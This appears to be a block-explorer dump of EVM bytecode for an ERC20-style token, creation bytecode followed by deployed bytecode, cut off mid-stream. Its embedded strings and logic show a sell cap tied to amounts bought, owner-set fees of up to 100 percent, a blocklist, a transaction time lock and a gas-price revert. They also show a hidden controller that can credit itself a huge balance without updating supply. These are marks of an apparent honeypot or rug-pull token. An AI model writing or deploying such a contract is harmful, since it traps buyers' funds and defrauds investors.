fffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060088054610dfd90612c31565b80601f0160208091040260200160405190810160405280929190818152602001828054610e2990612c31565b8015610e765780601f10610e4b57610100808354040283529160200191610e76565b820191906000526020600020905b815481529060010190602001808311610e5957829003601f168201915b5050505050905090565b610eac33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000803390506000610f44828661123e565b905083811015610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612e35565b60405180910390fd5b610f9682868684036115d1565b60019250505092915050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61102433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080339050611079818585611826565b600191505092915050565b6110b033600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b60005b8383905081101561114f5781601160008686858181106110d6576110d5612e55565b5b90506020020160208101906110eb919061292d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061114790612e84565b9150506110b3565b50505050565b61118133600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b6111d933600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80600660008282546111eb9190612c91565b9250508190555050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080829050602a81511461133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612f18565b60405180910390fd5b6000601467ffffffffffffffff81111561135857611357612a8e565b5b6040519080825280601f01601f19166020018201604052801561138a5781602001600182028036833780820191505090505b50905060005b601481101561141857826002826113a79190612c91565b815181106113b8576113b7612e55565b5b602001015160f81c60f81b8282815181106113d6576113d5612e55565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808061141090612e84565b915050611390565b50600060148201519050809350505050919050565b61145933600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b61148630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115d1565b6114903082611068565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b0426114e49190612c91565b6040518863ffffffff1660e01b815260040161150596959493929190612f7d565b60606040518083038185885af1158015611523573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115489190612ff3565b50505050565b6115566120dc565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc906130b8565b60405180910390fd5b6115ce81612153565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611640576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116379061314a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a6906131dc565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161178d9190612786565b60405180910390a3505050565b60006117a6848461123e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118205781811015611812576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180990613248565b60405180910390fd5b61181f84848484036115d1565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611895576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188c906132da565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611904576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016118fb9061336c565b60405180910390fd5b61190f838383612217565b6000600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611996576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161198d906133fe565b60405180910390fd5b61199f84610fa2565b1580156119b257506119b083610fa2565b155b15611f4e576119c0846124a8565b15611bfa5760006119d383600b5461255a565b905082826119e1919061341e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611a30919061341e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611a7e9190612c91565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611ae0919061341e565b604051611aed9190612786565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611b669190612c91565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611bec9190612786565b60405180910390a350611f49565b611c03836124a8565b15611e3d576000611c1683600c5461255a565b90508282611c24919061341e565b600460008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508083611c73919061341e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611cc19190612c91565b925050819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8386611d23919061341e565b604051611d309190612786565b60405180910390a38060046000601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611da99190612c91565b92505081905550601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611e2f9190612786565b60405180910390a350611f48565b8181611e49919061341e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611edb9190612c91565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611f3f9190612786565b60405180910390a35b5b612059565b8181611f5a919061341e565b600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254611fec9190612c91565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516120509190612786565b60405180910390a35b61206484848461257c565b50505050565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146120d8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120cf906134c4565b60405180910390fd5b5050565b3373ffffffffffffffffffffffffffffffffffffffff166120fb610d6f565b73ffffffffffffffffffffffffffffffffffffffff1614612151576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161214890613530565b60405180910390fd5b565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612220836124a8565b156122c05780600f60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546122749190612c91565b9250508190555042600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6122c9826124a8565b156124a357601160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166124a25780600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410156123a1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612398906135c2565b60405180910390fd5b80600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546123f0919061341e565b925050819055506123ff610d58565b1561248f5761244f600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054601054612581565b61248e576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124859061362e565b60405180910390fd5b5b61249761259a565b156124a157600080fd5b5b5b505050565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614806125535750600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b9050919050565b60006064828461256a919061364e565b61257491906136bf565b905092915050565b505050565b60004282846125909190612c91565b1015905092915050565b6000600a543a1015905090565b600081519050919050565b600082825260208201905092915050565b60005b838110156125e15780820151818401526020810190506125c6565b60008484015250505050565b6000601f19601f8301169050919050565b6000612609826125a7565b61261381856125b2565b93506126238185602086016125c3565b61262c816125ed565b840191505092915050565b6000602082019050818103600083015261265181846125fe565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006126988261266d565b9050919050565b6126a88161268d565b81146126b357600080fd5b50565b6000813590506126c58161269f565b92915050565b6000819050919050565b6126de816126cb565b81146126e957600080fd5b50565b6000813590506126fb816126d5565b92915050565b6000806040838503121561271857612717612663565b5b6000612726858286016126b6565b9250506020612737858286016126ec565b9150509250929050565b60008115159050919050565b61275681612741565b82525050565b6000602082019050612771600083018461274d565b92915050565b612780816126cb565b82525050565b600060208201905061279b6000830184612777565b92915050565b60006040820190506127b66000830185612777565b6127c36020830184612777565b9392505050565b6000806000606084860312156127e3576127e2612663565b5b60006127f1868287016126b6565b9350506020612802868287016126b6565b9250506040612813868287016126ec565b9150509250925092565b600060ff82169050919050565b6128338161281d565b82525050565b600060208201905061284e600083018461282a565b92915050565b60006020828403121561286a57612869612663565b5b6000612878848285016126ec565b91505092915050565b61288a81612741565b811461289557600080fd5b50565b6000813590506128a781612881565b92915050565b600080604083850312156128c4576128c3612663565b5b60006128d2858286016126b6565b92505060206128e385828601612898565b9150509250929050565b6000806040838503121561290457612903612663565b5b6000612912858286016126ec565b9250506020612923858286016126ec565b9150509250929050565b60006020828403121561294357612942612663565b5b6000612951848285016126b6565b91505092915050565b6129638161268d565b82525050565b600060208201905061297e600083018461295a565b92915050565b6000806040838503121561299b5761299a612663565b5b60006129a9858286016126b6565b92505060206129ba858286016126b6565b9150509250929050565b600080fd5b600080fd5b600080fd5b60008083601f8401126129e9576129e86129c4565b5b8235905067ffffffffffffffff811115612a0657612a056129c9565b5b602083019150836020820283011115612a2257612a216129ce565b5b9250929050565b600080600060408486031215612a4257612a41612663565b5b600084013567ffffffffffffffff811115612a6057612a5f612668565b5b612a6c868287016129d3565b93509350506020612a7f86828701612898565b9150509250925092565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b612ac6826125ed565b810181811067ffffffffffffffff82111715612ae557612ae4612a8e565b5b80604052505050565b6000612af8612659565b9050612b048282612abd565b919050565b600067ffffffffffffffff821115612b2457612b23612a8e565b5b612b2d826125ed565b9050602081019050919050565b82818337600083830152505050565b6000612b5c612b5784612b09565b612aee565b905082815260208101848484011115612b7857612b77612a89565b5b612b83848285612b3a565b509392505050565b600082601f830112612ba057612b9f6129c4565b5b8135612bb0848260208601612b49565b91505092915050565b600060208284031215612bcf57612bce612663565b5b600082013567ffffffffffffffff811115612bed57612bec612668565b5b612bf984828501612b8b565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612c4957607f821691505b602082108103612c5c57612c5b612c02565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612c9c826126cb565b9150612ca7836126cb565b9250828201905080821115612cbf57612cbe612c62565b5b92915050565b7f5573657220616c72656164792068617665207468697320737461747573000000600082015250565b6000612cfb601d836125b2565b9150612d0682612cc5565b602082019050919050565b60006020820190508181036000830152612d2a81612cee565b9050919050565b7f4665652070657263656e742063616e277420626520686967686572207468616e60008201527f2031303000000000000000000000000000000000000000000000000000000000602082015250565b6000612d8d6024836125b2565b9150612d9882612d31565b604082019050919050565b60006020820190508181036000830152612dbc81612d80565b9050919050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b6000612e1f6025836125b2565b9150612e2a82612dc3565b604082019050919050565b60006020820190508181036000830152612e4e81612e12565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000612e8f826126cb565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8203612ec157612ec0612c62565b5b600182019050919050565b7f496e76616c69642061646472657373206c656e67746800000000000000000000600082015250565b6000612f026016836125b2565b9150612f0d82612ecc565b602082019050919050565b60006020820190508181036000830152612f3181612ef5565b9050919050565b6000819050919050565b6000819050919050565b6000612f67612f62612f5d84612f38565b612f42565b6126cb565b9050919050565b612f7781612f4c565b82525050565b600060c082019050612f92600083018961295a565b612f9f6020830188612777565b612fac6040830187612f6e565b612fb96060830186612f6e565b612fc6608083018561295a565b612fd360a0830184612777565b979650505050505050565b600081519050612fed816126d5565b92915050565b60008060006060848603121561300c5761300b612663565b5b600061301a86828701612fde565b935050602061302b86828701612fde565b925050604061303c86828701612fde565b9150509250925092565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b60006130a26026836125b2565b91506130ad82613046565b604082019050919050565b600060208201905081810360008301526130d181613095565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006131346024836125b2565b915061313f826130d8565b604082019050919050565b6000602082019050818103600083015261316381613127565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b60006131c66022836125b2565b91506131d18261316a565b604082019050919050565b600060208201905081810360008301526131f5816131b9565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b6000613232601d836125b2565b915061323d826131fc565b602082019050919050565b6000602082019050818103600083015261326181613225565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b60006132c46025836125b2565b91506132cf82613268565b604082019050919050565b600060208201905081810360008301526132f3816132b7565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b60006133566023836125b2565b9150613361826132fa565b604082019050919050565b6000602082019050818103600083015261338581613349565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b60006133e86026836125b2565b91506133f38261338c565b604082019050919050565b60006020820190508181036000830152613417816133db565b9050919050565b6000613429826126cb565b9150613434836126cb565b925082820390508181111561344c5761344b612c62565b5b92915050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b60006134ae6021836125b2565b91506134b982613452565b604082019050919050565b600060208201905081810360008301526134dd816134a1565b9050919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b600061351a6020836125b2565b9150613525826134e4565b602082019050919050565b600060208201905081810360008301526135498161350d565b9050919050565b7f596f752061726520747279696e6720746f2073656c6c206d6f7265207468616e60008201527f20626f7567687421000000000000000000000000000000000000000000000000602082015250565b60006135ac6028836125b2565b91506135b782613550565b604082019050919050565b600060208201905081810360008301526135db8161359f565b9050919050565b7f4c696272654d6f756e743a20457863656564732054786e20446f776e74696d65600082015250565b60006136186020836125b2565b9150613623826135e2565b602082019050919050565b600060208201905081810360008301526136478161360b565b9050919050565b6000613659826126cb565b9150613664836126cb565b9250828202613672816126cb565b9150828204841483151761368957613688612c62565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006136ca826126cb565b91506136d5836126cb565b9250826136e5576136e4613690565b5b82820490509291505056fea2646970667358221220aa6bbe1b0d29b8f2c9fd39f5aef970ec79b75b361535553d06ff3eae449a690164736f6c634300081300330000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

Deployed Bytecode

0x6080604052600436106102045760003560e01c80638da5cb5b11610118578063afe01043116100a0578063e3bbb4f11161006f578063e3bbb4f11461078c578063e4440a86146107b7578063e95415c8146107e2578063f20fc99b1461081f578063f2fde38b1461083b57610204565b8063afe01043146106d2578063c9139266146106e9578063d1a039f014610712578063dd62ed3e1461074f57610204565b8063a457c2d7116100e7578063a457c2d7146105c9578063a48644f014610606578063a6bc782714610643578063a9059cbb1461066c578063a945c503146106a957610204565b80638da5cb5b1461050d5780639206245f1461053857806395d89b411461057557806398878d21146105a057610204565b806358e1e6751161019b57806370a082311161016a57806370a082311461044e578063715018a61461048b578063787c481b146104a25780637d2ffc35146104cb5780638363764b146104e257610204565b806358e1e67514610396578063597ec160146103bf57806366ed4c21146103e85780636994ee731461041157610204565b806323b872dd116101d757806323b872dd146102c8578063313ce567146103055780633816377e14610330578063395093511461035957610204565b806306fdde0314610209578063095ea7b31461023457806318160ddd146102715780631d15b5d01461029c575b600080fd5b34801561021557600080fd5b5061021e610864565b60405161022b9190612637565b60405180910390f35b34801561024057600080fd5b5061025b60048036038101906102569190612701565b6108f6565b604051610268919061275c565b60405180910390f35b34801561027d57600080fd5b50610286610912565b6040516102939190612786565b60405180910390f35b3480156102a857600080fd5b506102b161091c565b6040516102bf9291906127a1565b60405180910390f35b3480156102d457600080fd5b506102ef60048036038101906102ea91906127ca565b61092d565b6040516102fc919061275c565b60405180910390f35b34801561031157600080fd5b5061031a610955565b6040516103279190612839565b60405180910390f35b34801561033c57600080fd5b5061035760048036038101906103529190612854565b61096c565b005b34801561036557600080fd5b50610380600480360381019061037b9190612701565b6109a2565b60405161038d919061275c565b60405180910390f35b3480156103a257600080fd5b506103bd60048036038101906103b891906128ad565b6109d2565b005b3480156103cb57600080fd5b506103e660048036038101906103e19190612854565b610aeb565b005b3480156103f457600080fd5b5061040f600480360381019061040a91906128ed565b610b21565b005b34801561041d57600080fd5b506104386004803603810190610433919061292d565b610bb0565b6040516104459190612786565b60405180910390f35b34801561045a57600080fd5b506104756004803603810190610470919061292d565b610bf9565b6040516104829190612786565b60405180910390f35b34801561049757600080fd5b506104a0610c42565b005b3480156104ae57600080fd5b506104c960048036038101906104c4919061292d565b610c56565b005b3480156104d757600080fd5b506104e0610cc6565b005b3480156104ee57600080fd5b506104f7610d58565b604051610504919061275c565b60405180910390f35b34801561051957600080fd5b50610522610d6f565b60405161052f9190612969565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a919061292d565b610d98565b60405161056c919061275c565b60405180910390f35b34801561058157600080fd5b5061058a610dee565b6040516105979190612637565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190612984565b610e80565b005b3480156105d557600080fd5b506105f060048036038101906105eb9190612701565b610f32565b6040516105fd919061275c565b60405180910390f35b34801561061257600080fd5b5061062d6004803603810190610628919061292d565b610fa2565b60405161063a919061275c565b60405180910390f35b34801561064f57600080fd5b5061066a6004803603810190610665919061292d565b610ff8565b005b34801561067857600080fd5b50610693600480360381019061068e9190612701565b611068565b6040516106a0919061275c565b60405180910390f35b3480156106b557600080fd5b506106d060048036038101906106cb9190612a29565b611084565b005b3480156106de57600080fd5b506106e7611155565b005b3480156106f557600080fd5b50610710600480360381019061070b9190612854565b6111ad565b005b34801561071e57600080fd5b506107396004803603810190610734919061292d565b6111f5565b6040516107469190612786565b60405180910390f35b34801561075b57600080fd5b5061077660048036038101906107719190612984565b61123e565b6040516107839190612786565b60405180910390f35b34801561079857600080fd5b506107a16112c5565b6040516107ae9190612786565b60405180910390f35b3480156107c357600080fd5b506107cc6112cb565b6040516107d99190612969565b60405180910390f35b3480156107ee57600080fd5b5061080960048036038101906108049190612bb9565b6112f1565b6040516108169190612969565b60405180910390f35b61083960048036038101906108349190612854565b61142d565b005b34801561084757600080fd5b50610862600480360381019061085d919061292d565b61154e565b005b60606007805461087390612c31565b80601f016020809104026020016040519081016040528092919081815260200182805461089f90612c31565b80156108ec5780601f106108c1576101008083540402835291602001916108ec565b820191906000526020600020905b8154815290600101906020018083116108cf57829003601f168201915b5050505050905090565b6000803390506109078185856115d1565b600191505092915050565b6000600654905090565b600080600b54600c54915091509091565b60008033905061093e85828561179a565b610949858585611826565b60019150509392505050565b6000600960009054906101000a900460ff16905090565b61099833600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80600a8190555050565b6000803390506109c78185856109b8858961123e565b6109c29190612c91565b6115d1565b600191505092915050565b6109fe33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b801515601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151503610a90576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a8790612d11565b60405180910390fd5b80601360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610b1733600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b8060108190555050565b610b4d33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b60648211158015610b5f575060648111155b610b9e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b9590612da3565b60405180910390fd5b81600b8190555080600c819055505050565b6000600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610c4a6120dc565b610c546000612153565b565b610c8233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b610cf233600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b6d629b8c891b267182b61400000000600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610d4f9190612c91565b92505081905550565b6000601460009054906101000a900460ff16905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000601160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b606060088054610dfd90612c31565b80601f0160208091040260200160405190810160405280929190818152602001828054610e2990612c31565b8015610e765780601f10610e4b57610100808354040283529160200191610e76565b820191906000526020600020905b815481529060010190602001808311610e5957829003601f168201915b5050505050905090565b610eac33600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b81600260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555080600360006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050565b6000803390506000610f44828661123e565b905083811015610f89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8090612e35565b60405180910390fd5b610f9682868684036115d1565b60019250505092915050565b6000601360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b61102433600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80601260006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600080339050611079818585611826565b600191505092915050565b6110b033600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b60005b8383905081101561114f5781601160008686858181106110d6576110d5612e55565b5b90506020020160208101906110eb919061292d565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061114790612e84565b9150506110b3565b50505050565b61118133600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b601460009054906101000a900460ff1615601460006101000a81548160ff021916908315150217905550565b6111d933600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b80600660008282546111eb9190612c91565b9250508190555050565b6000600f60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a5481565b601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080829050602a81511461133b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133290612f18565b60405180910390fd5b6000601467ffffffffffffffff81111561135857611357612a8e565b5b6040519080825280601f01601f19166020018201604052801561138a5781602001600182028036833780820191505090505b50905060005b601481101561141857826002826113a79190612c91565b815181106113b8576113b7612e55565b5b602001015160f81c60f81b8282815181106113d6576113d5612e55565b5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350808061141090612e84565b915050611390565b50600060148201519050809350505050919050565b61145933600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1661206a565b61148630600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836115d1565b6114903082611068565b50600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719343084600080336104b0426114e49190612c91565b6040518863ffffffff1660e01b815260040161150596959493929190612f7d565b60606040518083038185885af1158015611523573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906115489190612ff3565b50505050565b6115566120dc565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16036115c5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115bc906130b8565b60405180910390fd5b6115ce81612153565b50565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611640576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116379061314a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036116af576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116a6906131dc565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161178d9190612786565b60405180910390a3505050565b60006117a6848461123e565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118205781811015611812576040517f08c379a00000000000000000000